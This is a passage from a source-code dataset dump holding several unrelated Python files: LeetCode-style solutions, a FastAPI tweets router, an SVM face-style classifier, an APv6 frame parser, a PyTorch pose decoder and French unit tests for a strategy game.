0.017098500135612198\n\n","sub_path":"ML - 2.1/GA/Result2/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"149160259","text":"#!python3\n\nclass Solution:\n def longestPalindrome(self, s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n start, longest = 0,0\n for i in range(len(s)):\n for j in range(i, len(s)):\n # if self.is_palindrome(s,i,j):\n if j - i + 1 > longest and self.is_palindrome(s,i,j):\n longest = j - i + 1\n start = i\n print(s[start:start+longest])\n\n print(start, longest)\n return s[start:start+longest]\n\n # def isP(self, s):\n # if s[::-1] == s[::]:\n # return True\n # else:\n # return False\n\n def is_palindrome(self, s, i, j):\n while i < j and s[i] == s[j]:\n i+=1\n j-=1\n return i>= j\n\ndef main() :\n sol = Solution()\n print(sol.longestPalindrome('abbac'))\n\nmain()","sub_path":"005-longest-palindromic-substring/solution1.py","file_name":"solution1.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"503925987","text":"from typing import List, Optional\nfrom fastapi import APIRouter, Depends, status, HTTPException\nfrom ..repository import schemas, database, models\nfrom ..security import oauth2\nfrom ..repository import tweet\nfrom ..repository.schemas import ResponseModel, ErrorResponseModel\nfrom datetime import datetime\nfrom bson import ObjectId\n\nrouter = APIRouter(\n prefix=\"/tweets\",\n tags=['Tweets']\n)\n\nget_db = database.get_db\n\n\n@router.get('/')\ndef all(db=Depends(get_db),\n current_user: schemas.User = Depends(oauth2.get_current_user),\n top_n: Optional[int] = 10,\n q: Optional[str] = None,\n start_date: Optional[datetime] = None,\n end_date: Optional[datetime] = None,\n retweets: Optional[str] = 'up',\n hashtags: Optional[str] = None,\n user: Optional[str] = None,\n political: Optional[str] = None,\n page: Optional[int] = 1,\n per_page: Optional[int] = 10,\n sortby: Optional[str] = 'created_at'):\n\n tweets, total = tweet.get_all(db,\n top_n=top_n,\n start_date=start_date,\n end_date=end_date,\n q=q,\n retweets=retweets,\n user=user,\n political=political,\n sortby=sortby,\n page=page,\n hashtags=hashtags,\n per_page=per_page)\n\n if tweets:\n return ResponseModel(tweets, \"Tweets data retrieved successfully\", total=total)\n\n return ResponseModel(tweets, \"Empty list returned\")\n\n\n@router.post('/', status_code=status.HTTP_501_NOT_IMPLEMENTED)\ndef create(request: schemas.Tweet, db=Depends(get_db), current_user: schemas.User = Depends(oauth2.get_current_user)):\n return ErrorResponseModel('An error occurred', 501, 'Not implemented yet!')\n\n\n@router.delete('/{id}', status_code=status.HTTP_501_NOT_IMPLEMENTED)\ndef destroy(id: str, db=Depends(get_db), current_user: schemas.User = Depends(oauth2.get_current_user)):\n return ErrorResponseModel('An error occurred', 501, 'Not implemented yet!')\n\n\n@router.put('/{id}', status_code=status.HTTP_501_NOT_IMPLEMENTED)\ndef update(id: str, request: schemas.Tweet, db=Depends(get_db), current_user: schemas.User = Depends(oauth2.get_current_user)):\n return ErrorResponseModel('An error occurred', 501, 'Not implemented yet!')\n\n\n@router.get('/{id}', status_code=200)\nasync def show(id: str, db=Depends(get_db), current_user: schemas.User = Depends(oauth2.get_current_user)):\n print(\"show\", id)\n tweet_ = tweet.show(id, db)\n\n if tweet_:\n return ResponseModel(tweet_, \"Tweet data retrieved successfully\")\n\n return ResponseModel(tweet_, \"Tweet not found\")\n\n\n@router.get('/hashtags/stats', status_code=200)\nasync def top_n_hashtags(db=Depends(get_db),\n current_user: schemas.User = Depends(\n oauth2.get_current_user),\n top_n: Optional[int] = 10,\n is_retweet: Optional[bool] = False,\n start_date: Optional[datetime] = None,\n end_date: Optional[datetime] = None):\n\n agg = tweet.top_n_hashtags(\n db, top_n, is_retweet, start_date=start_date, end_date=end_date)\n\n return ResponseModel(agg, \"Stats computed successfully\")\n\n\n@router.get('/links/stats', status_code=200)\nasync def top_n_links(db=Depends(get_db),\n current_user: schemas.User = Depends(\n oauth2.get_current_user),\n top_n: Optional[int] = 10,\n is_retweet: Optional[bool] = False,\n start_date: Optional[datetime] = None,\n end_date: Optional[datetime] = None):\n\n agg = tweet.top_n_links(db, top_n, is_retweet,\n start_date=start_date, end_date=end_date)\n\n return ResponseModel(agg, \"Stats computed successfully\")\n\n\n@router.get('/users/stats', status_code=200)\nasync def top_n_users(db=Depends(get_db),\n current_user: schemas.User = Depends(\n oauth2.get_current_user),\n top_n: Optional[int] = 10,\n is_retweet: Optional[bool] = False,\n start_date: Optional[datetime] = None,\n end_date: Optional[datetime] = None):\n\n agg = tweet.top_n_users(db, top_n, is_retweet,\n start_date=start_date, end_date=end_date)\n\n return ResponseModel(agg, \"Stats computed successfully\")\n\n@router.get('/labeling/{tweet_id}/{label}', status_code=200)\nasync def labeling(tweet_id, label, db=Depends(get_db), current_user: schemas.User = Depends( oauth2.get_current_user)):\n\n if label:\n db.tweets.find_one_and_update({'_id': ObjectId(tweet_id)}, {\"$set\": {\"political\": str(label)}})\n db.tweets.find_one_and_update({'_id': tweet_id}, {\"$set\": {\"political\": str(label)}})\n else:\n db.tweets.find_one_and_update({'_id': ObjectId(tweet_id)}, {\"$unset\": {\"political\": None}})\n db.tweets.find_one_and_update({'_id': tweet_id}, {\"$unset\": {\"political\": None}})\n \n tweet = db.tweets.find_one ({'_id': ObjectId(tweet_id)})\n\n if (tweet == None):\n tweet = db.tweets.find_one ({'_id': tweet_id})\n\n return schemas.Tweet(**tweet) \n","sub_path":"webapp/f04-backend/app/routers/tweet.py","file_name":"tweet.py","file_ext":"py","file_size_in_byte":5253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"88682559","text":"\"\"\"\nUse traditional machine learning\n\"\"\"\nfrom __future__ import print_function\n\nfrom time import time\n\nimport matplotlib.pyplot as plt\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import GridSearchCV\n\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.decomposition import PCA\nfrom sklearn.svm import SVC\n\nimport numpy as np\nimport liver_pierce_images\n\n#这里采用灰度图\nX, Y, labelenc, onehotenc, img_labels = liver_pierce_images.load_data(one_hot=False, to_gray=True)\n\nn_samples, h, w = X.shape\nX = X.reshape(n_samples, h*w)\nn_features = X.shape[1]\nn_classes = 4\n\nprint(\"Total dataset size:\")\nprint(\"n_samples: %d\" % n_samples)\nprint(\"n_features: %d\" % n_features)\nprint(\"n_classes: %d\" % n_classes)\n\nY = Y.reshape(-1)\n###############################################################################\n# Split into a training set and a test set using a stratified k fold\n\n# split into a training and testing set\nX_train, X_test, y_train, y_test = train_test_split(\n X, Y, test_size=0.25, random_state=42)\n\n###############################################################################\n# Compute a PCA (eigenfaces) on the face dataset (treated as unlabeled\n# dataset): unsupervised feature extraction / dimensionality reduction\nn_components = 128\n\nprint(\"Extracting the top %d eigenfaces from %d images\"\n % (n_components, X_train.shape[0]))\nt0 = time()\npca = PCA(n_components=n_components, svd_solver='randomized',\n whiten=True).fit(X_train)\nprint(\"done in %0.3fs\" % (time() - t0))\n\neigenfaces = pca.components_.reshape((n_components, h, w))\n\nprint(\"Projecting the input data on the eigenfaces orthonormal basis\")\nt0 = time()\nX_train_pca = pca.transform(X_train)\nX_test_pca = pca.transform(X_test)\nprint(\"done in %0.3fs\" % (time() - t0))\n\n###############################################################################\n# Train a SVM classification model\n\nprint(\"Fitting the classifier to the training set\")\nt0 = time()\nparam_grid = {'C': [1e3, 5e3, 1e4, 5e4, 1e5],\n 'gamma': [0.0001, 0.0005, 0.001, 0.005, 0.01, 0.1], }\nclf = GridSearchCV(SVC(kernel='rbf', class_weight='balanced'), param_grid)\nclf = clf.fit(X_train_pca, y_train)\nprint(\"done in %0.3fs\" % (time() - t0))\nprint(\"Best estimator found by grid search:\")\nprint(clf.best_estimator_)\n\n\n###############################################################################\n# Quantitative evaluation of the model quality on the test set\n\nprint(\"Predicting people's names on the test set\")\nt0 = time()\ny_pred = clf.predict(X_test_pca)\nprint(\"done in %0.3fs\" % (time() - t0))\n\nprint(classification_report(y_test, y_pred))\nprint(confusion_matrix(y_test, y_pred, labels=range(n_classes)))\n","sub_path":"naive_example.py","file_name":"naive_example.py","file_ext":"py","file_size_in_byte":2766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"121993079","text":"#!/usr/bin/env python3\n\"\"\"\nCopyright 2018 Dean Hall. See LICENSE for details.\n\nAPv6 (network layer) frame structure definition\n\nThis file uses the excellent dpkt third-party module\nto define the structure of the APv6 network layer frames.\nAn APv6 frame can be created by creating an instance of APv6Frame()\nwith any field_name=value as an argument to the constructor.\nAnd an APv6 frame may be accessed via instance.field_name.\n\"\"\"\n\n\nimport struct\n\nimport dpkt # pip install dpkt\n\n# from .trn_udp import APv6Udp # moved to unpack() to fix circular dependancy\n\n\nclass APv6Frame(dpkt.Packet):\n \"\"\"APv6 frame definition\n \"\"\"\n IPHC_PREFIX_MASK = 0b11100000\n IPHC_NHC_MASK = 0b00010000\n IPHC_HLIM_MASK = 0b00001100\n IPHC_SAM_MASK = 0b00000010\n IPHC_DAM_MASK = 0b00000001\n\n IPHC_PREFIX_SHIFT = 5\n IPHC_NHC_SHIFT = 4\n IPHC_HLIM_SHIFT = 2\n IPHC_SAM_SHIFT = 1\n IPHC_DAM_SHIFT = 0\n\n IPHC_PREFIX = 0b110\n\n IPHC_HLIM_INLINE = 0b00 # HopLimit (1 Byte) follows IPHC\n IPHC_HLIM_1 = 0b01\n IPHC_HLIM_64 = 0b10\n IPHC_HLIM_255 = 0b11\n\n IPHC_ADDR_MODE_128 = 0 # full 128-bit address is in-lin\n IPHC_ADDR_MODE_0 = 1 # address is elided\n\n APV6_PREFIX = IPHC_PREFIX << IPHC_PREFIX_SHIFT\n\n DEFAULT_NHC = 0b1 # next-header is compressed\n DEFAULT_HLIM = IPHC_HLIM_1 # 1 hop\n DEFAULT_SAM = IPHC_ADDR_MODE_0 # address compressed/elided\n DEFAULT_DAM = IPHC_ADDR_MODE_0 # address compressed/elided\n\n\n __byte_order__ = '!' # Network order\n __hdr__ = (\n # The underscore prefix means do not access that field directly.\n # Access properties .iphc, .iphc_nhc, etc. instead.\n ('_iphc', 'B', APV6_PREFIX),\n # Fields with '0s' are optional or variable-length\n ('hops', '0s', b''),\n ('src', '0s', b''),\n ('dst', '0s', b''),\n )\n\n # Functions to help determine which fields are present\n def _has_hops_field(self,):\n return ((self._iphc & APv6Frame.IPHC_HLIM_MASK ) >> APv6Frame.IPHC_HLIM_SHIFT) == APv6Frame.IPHC_HLIM_INLINE\n def _has_src_field(self,):\n return ((self._iphc & APv6Frame.IPHC_SAM_MASK ) >> APv6Frame.IPHC_SAM_SHIFT) == APv6Frame.IPHC_ADDR_MODE_128\n def _has_dst_field(self,):\n return ((self._iphc & APv6Frame.IPHC_DAM_MASK ) >> APv6Frame.IPHC_DAM_SHIFT) == APv6Frame.IPHC_ADDR_MODE_128\n\n # Getters for the _iphc subfields\n @property\n def iphc(self,):\n \"\"\"Gets the full value (all bits) from the IPHC field.\n \"\"\"\n return self._iphc\n\n @property\n def iphc_prefix(self,):\n \"\"\"Returns the APv6 prefix.\n The value should be 3b110 according to APv6 1.0 spec.\n This value is different than RFC6282 which specifies 3b011.\n \"\"\"\n return (self._iphc & APv6Frame.IPHC_PREFIX_MASK) >> APv6Frame.IPHC_PREFIX_SHIFT\n\n @property\n def iphc_nhc(self,):\n \"\"\"Returns bit pattern to indicate Next Header Compressed.\n 0: Next Header is carried in-line\n 1: Next Header is encoded via LOWPAN_NHC\n \"\"\"\n return (self._iphc & APv6Frame.IPHC_NHC_MASK) >> APv6Frame.IPHC_NHC_SHIFT\n\n @property\n def iphc_hlim(self,):\n \"\"\"Returns the bit pattern to indicate the Hop Limit\n 0: Hop Limit is carried in-line\n 1: Hop Limit is 1\n 2: Hop Limit is 64\n 3: Hop Limit is 255\n \"\"\"\n return (self._iphc & APv6Frame.IPHC_HLIM_MASK) >> APv6Frame.IPHC_HLIM_SHIFT\n\n @property\n def iphc_sam(self,):\n \"\"\"Returns bit pattern to indicate Source Address mode.\n 0: Src Addr is carried in-line\n 1: Src Addr is elided; computed from MAC layer\n \"\"\"\n return (self._iphc & APv6Frame.IPHC_SAM_MASK) >> APv6Frame.IPHC_SAM_SHIFT\n\n @property\n def iphc_dam(self,):\n \"\"\"Returns bit pattern to indicate Destination Address mode.\n 0: Dest Addr is carried in-line\n 1: Dest Addr is elided; computed from MAC layer\n \"\"\"\n return (self._iphc & APv6Frame.IPHC_DAM_MASK) >> APv6Frame.IPHC_DAM_SHIFT\n\n\n # Setters for the _iphc subfields\n @iphc.setter\n def iphc(self, val):\n \"\"\"Sets the whole value of the IPHC field.\n \"\"\"\n assert ((val & APv6Frame.IPHC_PREFIX_MASK) >> APv6Frame.IPHC_PREFIX_SHIFT) == IPHC_PREFIX, \"Invalid APv6 prefix\"\n assert 0 <= val < 256\n self._iphc = val\n\n @iphc_nhc.setter\n def iphc_nhc(self, val):\n \"\"\"Sets the Next Header Compressed bit in the IPHC field to the given value\n \"\"\"\n assert 0 <= val <= 1\n assert val == APv6Frame.DEFAULT_NHC, \"only compressed headers are supported at this time\"\n\n self._iphc = (self._iphc & ~APv6Frame.IPHC_NHC_MASK) | ((val & 1) << APv6Frame.IPHC_NHC_SHIFT)\n\n @iphc_hlim.setter\n def iphc_hlim(self, val):\n \"\"\"Sets the Next Header bit in the IPHC field to the given value\n \"\"\"\n assert 0 <= val < 4\n self._iphc = (self._iphc & ~APv6Frame.IPHC_HLIM_MASK) | ((val & 0b11) << APv6Frame.IPHC_HLIM_SHIFT)\n\n @iphc_sam.setter\n def iphc_sam(self, val):\n \"\"\"Sets the Source Address Mode bit in the IPHC field to the given value\n \"\"\"\n assert 0 <= val < 2\n self._iphc = (self._iphc & ~APv6Frame.IPHC_SAM_MASK) | ((val & 1) << APv6Frame.IPHC_SAM_SHIFT)\n\n @iphc_dam.setter\n def iphc_dam(self, val):\n \"\"\"Sets the Destination Address Mode bit in the IPHC field to the given value\n \"\"\"\n assert 0 <= val < 2\n self._iphc = (self._iphc & ~APv6Frame.IPHC_DAM_MASK) | ((val & 1) << APv6Frame.IPHC_DAM_SHIFT)\n\n\n def unpack(self, buf):\n \"\"\"Unpacks a bytes object into component attributes.\n This function is called when an instance of this class is created\n by passing a bytes object to the constructor\n \"\"\"\n super().unpack(buf) # unpacks _iphc\n\n # Hops is in the byte following the IPHC field\n if self._has_hops_field():\n if len(self.data) < 1:\n raise dpkt.NeedData(\"for hops\")\n self.hops = self.data[0]\n self.data = self.data[1:]\n\n # Hops is encoded in the IPHC HLIM field\n else:\n if self.iphc_hlim == 0b01:\n self.hops = 1\n if self.iphc_hlim == 0b10:\n self.hops = 64\n if self.iphc_hlim == 0b11:\n self.hops = 255\n\n if self._has_src_field():\n if len(self.data) < 16:\n raise dpkt.NeedData(\"for src\")\n self.src = self.data[0:16]\n self.data = self.data[16:]\n\n if self._has_dst_field():\n if len(self.data) < 16:\n raise dpkt.NeedData(\"for dst\")\n self.dst = self.data[0:16]\n self.data = self.data[16:]\n\n # Unpack the payload for known frame types\n if (self.iphc_prefix == APv6Frame.IPHC_PREFIX and len(self.data) > 1):\n # TODO: check for uncompressed UDP, too\n # If the compressed next-header indicates compressed-UDP\n if self.iphc_nhc == 1 and self.data[0] & 0b11111000 == 0b11110000:\n from .trn_udp import APv6Udp\n self.data = APv6Udp(self.data)\n\n\n def pack_hdr(self):\n \"\"\"Packs header attributes into a bytes object.\n This function is called when bytes() or len() is called\n on an instance of Apv6Frame.\n \"\"\"\n d = bytearray()\n\n # Skip IPHC field for now, insert it at the end of this function\n\n # Only compressed next-headers are supported at this time\n self.iphc_nhc = APv6Frame.DEFAULT_NHC\n\n if self.hops:\n if type(self.hops) is bytes:\n v = self.hops[0]\n else:\n v = self.hops\n self.hops = struct.pack(\"B\", v)\n if v == 1:\n self.iphc_hlim = 0b01\n elif v == 64:\n self.iphc_hlim = 0b10\n elif v == 255:\n self.iphc_hlim = 0b11\n else:\n self.iphc_hlim = 0b00\n d.append(v)\n else:\n if not self.iphc_hlim:\n self.iphc_hlim = APv6Frame.DEFAULT_HLIM\n\n if self.src:\n if len(self.src) == 16:\n self.iphc_sam = 0\n d.extend(self.src)\n else:\n self.iphc_sam = APv6Frame.DEFAULT_SAM\n\n if self.dst:\n if len(self.dst) == 16:\n self.iphc_dam = 0\n d.extend(self.dst)\n else:\n self.iphc_dam = APv6Frame.DEFAULT_DAM\n\n return super().pack_hdr() + bytes(d)\n","sub_path":"heymac/net_frame.py","file_name":"net_frame.py","file_ext":"py","file_size_in_byte":8556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"23012923","text":"class Solution:\n def letterCombinations(self, digits: str):\n ans = []\n d = {'2': 'abc', '3': 'def', '4': 'ghi', '5': 'jkl', '6': 'mns', '7': 'pqrs', '8': 'tuv', '9': 'wxyz'}\n\n if not len(digits):\n return []\n def recursion(digits, pos, end, d, s, ans):\n if pos == end:\n ans.append(s)\n else:\n for i in d.get(digits[pos]):\n recursion(digits, pos + 1, end, d, s + i, ans)\n\n recursion(digits, 0, len(digits), d, '', ans)\n return ans\n\n\nSolution().letterCombinations('23')\n","sub_path":"17.py","file_name":"17.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"492517478","text":"import torch\nimport torch.nn as nn\nfrom torch import sigmoid\nfrom torch.nn.init import xavier_uniform_, zeros_\n\n\nclass PoseDecoder(nn.Module):\n def __init__(self):\n super().__init__()\n self.conv1 = nn.Sequential(nn.Conv2d(512, 256, kernel_size=3, stride=2, padding=1, bias=True),\n nn.ELU(inplace=True)\n )\n\n self.conv2 = nn.Sequential(\n nn.Conv2d(256*3, 256, kernel_size=3, stride=2, padding=1, bias=True),\n nn.ELU(inplace=True)\n )\n\n self.conv3 = nn.Sequential(\n nn.Conv2d(256, 256, kernel_size=3, stride=2, padding=1, bias=True),\n nn.ELU(inplace=True),\n nn.Conv2d(256, 12, kernel_size=3,stride =2,padding=1, bias=True),\n )\n\n def forward(self, d1,d2,d3):\n pconv0_t = self.conv1(d2)\n pconv0_s1 = self.conv1(d1)\n pconv0_s2 = self.conv1(d3)\n pconv1 = torch.cat((pconv0_s1,pconv0_t,pconv0_s2),dim=1)\n pconv2 = self.conv2(pconv1)\n pose= self.conv3(pconv2)\n batch, c, h, w = pose.size()\n pose = pose.view(batch, 2, 6) #*(10**-2)\n trans = pose[:, :, :3] * 0.001\n rot = pose[:, :, 3:] * 0.01\n #pose[:, :, :3] = pose[:, :, :3] * 0.001\n #pose[:, :, 3:] = pose[:, :, 3:] * 0.01\n return pose, trans, rot\n","sub_path":"Code/PoseNetwork.py","file_name":"PoseNetwork.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"581113964","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Apr 22 13:30:19 2018\r\n\r\n@author: Erwann Landais\r\n\"\"\"\r\n\r\n\r\nimport unittest\r\nfrom numpy.random import randint\r\nfrom numpy.random import choice\r\nimport time\r\nfrom Un_Tour_Hn import Un_Tour_Joueur_Hn\r\nfrom Un_Tour_IA import Un_Tour_Joueur_IA\r\nfrom Ressource import metal\r\nfrom Batiments import Foreuse,QG,Panneau_solaire\r\nfrom unites_IA_facile import Scorpion0\r\nfrom unites_IA_Moyenne import Scorpion1\r\nfrom Constantes import Constante\r\nimport Save_Load as sl\r\nimport numpy as np\r\nfrom Partie import Partie \r\nfrom Map import Map\r\n\r\n\r\nclass TestPartie(unittest.TestCase):\r\n \"\"\"\r\n Classe gérant les tests effectués sur la classe Partie.\r\n \"\"\"\r\n def testInit_Hn(self):\r\n \"\"\"\r\n Test vérifiant :\r\n *Que tous les joueurs humains ont bien été crées. (3, d'après\r\n le paramètre d'entrée de Game)\r\n *Que le premier joueur humain est bien un défenseur, avec le bon\r\n nombre de métal et d'énergie initial.\r\n *Que l'objet Game est bien une instance de la classe Partie.\r\n \r\n \"\"\"\r\n Game = Partie(0,3)\r\n self.assertEqual(Game.nb_hn,0)\r\n\r\n self.assertEqual(len(Game.L_joueur),3)\r\n self.assertEqual(Game.L_joueur[0]._role,'DH')\r\n self.assertEqual(Game.L_joueur[0].metal_tot,Constante.metal_tot)\r\n self.assertEqual(Game.L_joueur[0].energie_tot, Constante.energie_tot)\r\n self.assertIsInstance(Game,Partie)\r\n \r\n def testInit_IA(self):\r\n \"\"\"\r\n Test vérifiant :\r\n *Que tous les joueurs humains ont bien été crées. (1, d'après\r\n le paramètre d'entrée de GamePC)\r\n *Qu'il y a bien trois joueurs de crées (donc deux joueurs IA et\r\n un joueur humain).\r\n *Que le premier joueur humain est bien un défenseur, avec le bon\r\n nombre de métal et d'énergie initial.\r\n *Que l'objet GamePC est bien une instance de la classe Partie.\r\n \r\n \"\"\"\r\n \r\n self.assertEqual(GamePC.nb_hn,0)\r\n self.assertEqual(len(GamePC.L_joueur),3)\r\n self.assertEqual(GamePC.L_joueur[0].metal_tot,Constante.metal_tot)\r\n self.assertEqual(GamePC.L_joueur[0].energie_tot, Constante.energie_tot)\r\n self.assertIsInstance(GamePC,Partie)\r\n \r\n\r\nclass TestMap(unittest.TestCase):\r\n \"\"\"\r\n Classe gérant les tests effectués sur la classe Map\r\n \"\"\"\r\n def testInit(self):\r\n \"\"\"\r\n Test vérifiant :\r\n *Que les dimensions de la carte correspondent à celles de la\r\n classe Constante.\r\n *Que la taille de la sous-carte correspond à celle de la carte.\r\n *Que le défenseur possède bien un QG.\r\n *Que la variable V_atta (indiquant la victoire ou non des attaquants)\r\n est bien initialisée à 0; indiquant donc que les attaquants n'ont pas\r\n encore gagnés.\r\n *Que l'objet Carte est une instance du type list.\r\n \r\n \"\"\"\r\n x,y = Carte.dims\r\n self.assertEqual(x,Constante.xmax)\r\n self.assertEqual(y,Constante.ymax)\r\n self.assertEqual(np.shape(Carte.ss_carte),Carte.dims)\r\n self.assertEqual(len(Carte.L_joueur[0]._liste_bat[0]),1)\r\n self.assertEqual(Carte.V_atta,0)\r\n self.assertIsInstance(Carte,list)\r\n \r\n def testAppa_ressources(self):\r\n \"\"\"\r\n Test vérifiant :\r\n *Que les dimensions de la carte correspondent à celles de la\r\n classe Constante.\r\n *Que la taille de la sous-carte correspond à celle de la carte.\r\n *Que le défenseur possède bien un QG.\r\n *Que la variable V_atta (indiquant la victoire ou non des attaquants)\r\n est bien initialisée à 0; indiquant donc que les attaquants n'ont pas\r\n encore gagnés.\r\n *Que l'objet Carte est une instance du type list.\r\n \r\n \"\"\"\r\n x,y = Carte.dims\r\n L = Carte.L\r\n H = Carte.H\r\n x_inf_b = (x - L )//2 +1\r\n x_sup_b = (x + L)//2 \r\n y_inf_b = (y - H)//2 +1\r\n y_sup_b = (y + H)//2 \r\n Terrain_const = Carte.ss_carte[x_inf_b:x_sup_b,y_inf_b:y_sup_b]\r\n for k in range(10):\r\n Carte.apparition_ressource()\r\n for obj in Carte:\r\n if obj.car == 'M ':\r\n self.assertNotIn(obj,Terrain_const) \r\n \r\n def testRessources_tot(self):\r\n \"\"\"\r\n Test vérifiant qu'après avoir ajouté trois foreuses et 3 panneaux solaires,\r\n et après 10 tours de jeu sans avoir effectué aucune dépense, que le défenseur \r\n ait bien le bon total de ressources.\r\n \"\"\"\r\n Def = Game.L_joueur[0]\r\n for i in range(3):\r\n X = i\r\n Y = i\r\n Def._liste_bat[1].append(Panneau_solaire(X,Y,Carte))\r\n Def._liste_bat[2].append(Foreuse(X+1,Y+1,Carte))\r\n for k in range(10):\r\n Carte.ressource_tot()\r\n\r\n M = 10*(Constante.prod_M_F*3 + Constante.prod_M_QG)+Constante.metal_tot\r\n E = 10*(Constante.prod_E_P*3 + Constante.prod_E_QG)+Constante.energie_tot\r\n self.assertEqual(Def.metal_tot,M)\r\n self.assertEqual(Def.energie_tot,E)\r\n\r\nclass TestRessources(unittest.TestCase):\r\n \"\"\"\r\n Classe gérant les tests effectués sur la classe Ressource.\r\n \"\"\"\r\n def testInit(self):\r\n \"\"\"\r\n Test vérifiant :\r\n *Que la carte et la sous-carte possédées par la ressource correspondent \r\n bien à celles de l'objet Carte.\r\n *Que la ressource se trouve bien dans la carte de jeu.\r\n *Que les variables de la ressource (position, valeur, identifiant) sont\r\n corrects.\r\n \"\"\"\r\n U = metal(0,0,Carte,2)\r\n self.assertEqual(U._cart,Carte)\r\n self.assertIn(U,Carte)\r\n self.assertIn(U,Carte.ss_carte)\r\n self.assertEqual(U.coords,(0,0))\r\n self.assertEqual(U.valeur,2)\r\n self.assertEqual(U.T_car(),'N_O_M')\r\n \r\nclass TestSave(unittest.TestCase):\r\n \"\"\"\r\n Classe gérant les tests effectués sur la classe Save.\r\n \"\"\"\r\n def testSave(self):\r\n \"\"\"\r\n Test vérifiant que, sur une partie avec 3 joueurs humains qui vient juste\r\n d'être initialisée : \r\n *Que le nom de la sauvegarde (appelée blob.txt ici) est bien correct.\r\n *Que la sauvegarde possède le bon nombre de lignes (34 ici).\r\n *Que la dernière ligne de la sauvegarde est correcte.\r\n \"\"\"\r\n Game = Partie(0,3)\r\n Carte = Game.carte\r\n Save = sl.Save(\"blob\",Carte)\r\n self.assertEqual(Save.Nme,\"blob.txt\")\r\n with open(Save.Nme, 'r') as f:\r\n List_Save = [line.strip() for line in f]\r\n self.assertEqual(len(List_Save),56)\r\n self.assertEqual(List_Save[-1],\"Fin sauvegarde\")\r\n \r\n\r\nclass TestLoad(unittest.TestCase):\r\n \"\"\"\r\n Classe gérant les tests effectués sur la classe Load.\r\n \"\"\"\r\n def testInit_Carte(self):\r\n \"\"\"\r\n Test vérifiant que la création d'une carte (de type chargée; c'est-à-dire \r\n issue d'une sauvegarde) possède bien, initialement :\r\n *Les bonnes dimensions (issues de l'objet Constante).\r\n *La bonne liste joueur.\r\n *La bonne variable V_atta.\r\n \"\"\"\r\n CarteL = Map([],1) \r\n x,y = CarteL.dims\r\n self.assertEqual(x,Constante.xL)\r\n self.assertEqual(y,Constante.yL)\r\n self.assertEqual(CarteL.L_joueur,[])\r\n self.assertEqual(CarteL.V_atta,0)\r\n \r\n def testLoad(self): \r\n \"\"\"\r\n Test vérifiant que le chargement de la sauvegarde effectuée s'est bien déroulé.\r\n Pour cela, après avoir sauvegardé la partie, la méthode vérifie :\r\n *Que le tour actuel de la carte chargée correspond bien au tour actuel\r\n de la sauvegarde (c'est-à-dire au tour en cours lorsque la sauvegarde a\r\n eu lieu).\r\n *Que le QG de la sauvegarde est identique au QG chargé.\r\n *Que les joueurs et les unités de la partie chargée ont les bonnes variables,\r\n identiques à celles de la sauvegarde.\r\n \"\"\"\r\n \r\n Save = sl.Save(\"blob\",Carte)\r\n Load = sl.Load(\"blob.txt\")\r\n self.assertEqual(Load.Lcarte.Ltr_actuel,Constante.Lnbta)\r\n\r\n# Teste si le QG est identique\r\n\r\n self.assertEqual(Load.Lcarte.L_joueur[0]._liste_bat[0][0].T_car(),Game.L_joueur[0]._liste_bat[0][0].T_car())\r\n self.assertEqual(Load.Lcarte.L_joueur[0]._liste_bat[0][0].sante,Game.L_joueur[0]._liste_bat[0][0].sante)\r\n self.assertEqual(Load.Lcarte.L_joueur[0]._liste_bat[0][0].coords,Game.L_joueur[0]._liste_bat[0][0].coords)\r\n\r\n# Teste si les joueurs sont identiques (mêmes variables, mêmes listes d'unité)\r\n\r\n for k in range(len(Game.L_joueur)):\r\n if Load.Lcarte.L_joueur[k]._liste_unite == []:\r\n self.assertEqual(Load.Lcarte.L_joueur[k]._liste_unite, Game.L_joueur[k]._liste_unite)\r\n else:\r\n for i in range(len(Load.Lcarte.L_joueur[k]._liste_unite)):\r\n Unite = Load.Lcarte.L_joueur[k]._liste_unite[i]\r\n self.assertEqual(Unite.sante,Game.L_joueur[k]._liste_unite[i].sante)\r\n self.assertEqual(Unite.coords,Game.L_joueur[k]._liste_unite[i].coords)\r\n self.assertEqual(Unite._role, Game.L_joueur[k]._liste_unite[i]._role)\r\n \r\n self.assertEqual(Load.Lcarte.L_joueur[k].metal_tot,Game.L_joueur[k].metal_tot)\r\n self.assertEqual(Load.Lcarte.L_joueur[k].energie_tot, Game.L_joueur[k].energie_tot)\r\n self.assertEqual(Load.Lcarte.L_joueur[k].nbe_unite_restantes,Game.L_joueur[k].nbe_unite_restantes)\r\n self.assertEqual(Load.Lcarte.L_joueur[k].IdU, Game.L_joueur[k].IdU)\r\n self.assertEqual(Load.Lcarte.L_joueur[k]._role,Game.L_joueur[k]._role)\r\n\r\nclass TestUn_Tour(unittest.TestCase):\r\n \"\"\"\r\n Classe gérant les tests effectués sur la classe Un_Tour_Hn et Un_Tour_IA.\r\n \"\"\"\r\n def testInit_Tour(self):\r\n \"\"\"\r\n Test vérifiant que l'objet TrHn Possède bien la même carte et la même liste\r\n des joueurs que l'objet Carte.\r\n Ce test vérifie aussi que la variable nombre d'unités disponible par tour \r\n de cet objet est bien nulle à l'initialisation.\r\n \"\"\"\r\n self.assertEqual(Carte.TrHn._carte,Carte)\r\n self.assertEqual(Carte.TrHn.L_joueur,Carte.L_joueur)\r\n self.assertEqual(Carte.TrHn.unite_disp_par_tour,0)\r\n \r\n def testPlacer_Foreuse(self):\r\n \"\"\"\r\n Test vérifiant que :\r\n *Changer les valeurs des ressources possédées par le défenseur,\r\n dans la liste de joueurs de l'objet Carte, modifie bien les valeurs des\r\n ressources du 